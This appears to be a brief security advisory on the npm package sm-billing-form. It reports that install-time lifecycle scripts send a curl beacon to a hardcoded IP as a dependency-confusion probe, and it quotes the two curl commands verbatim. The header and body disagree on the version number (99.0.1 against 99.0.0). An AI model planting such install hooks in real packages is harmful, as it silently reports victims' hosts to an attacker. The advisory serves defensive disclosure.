sm-billing-form@99.0.1

package.json defines preinstall and postinstall lifecycle scripts that run `curl -s http://16.192.173.5/sm-billing-form/pre` and `curl -s http://16.192.173.5/sm-billing-form/post` on `npm install`. The requests target a hardcoded bare-IP endpoint over cleartext HTTP with no relationship to any documented publisher, and fire automatically as part of the default install. The pattern is a dependency-confusion / typosquat probe: the callback confirms to the operator of 16.192.173.5 which environments resolved the public `sm-billing-form` name and installed it, disclosing source IP and install timing and enabling targeted follow-on attacks against those hosts. The version number (99.0.0) is consistent with a dependency-confusion lure intended to outrank an internal package of the same name.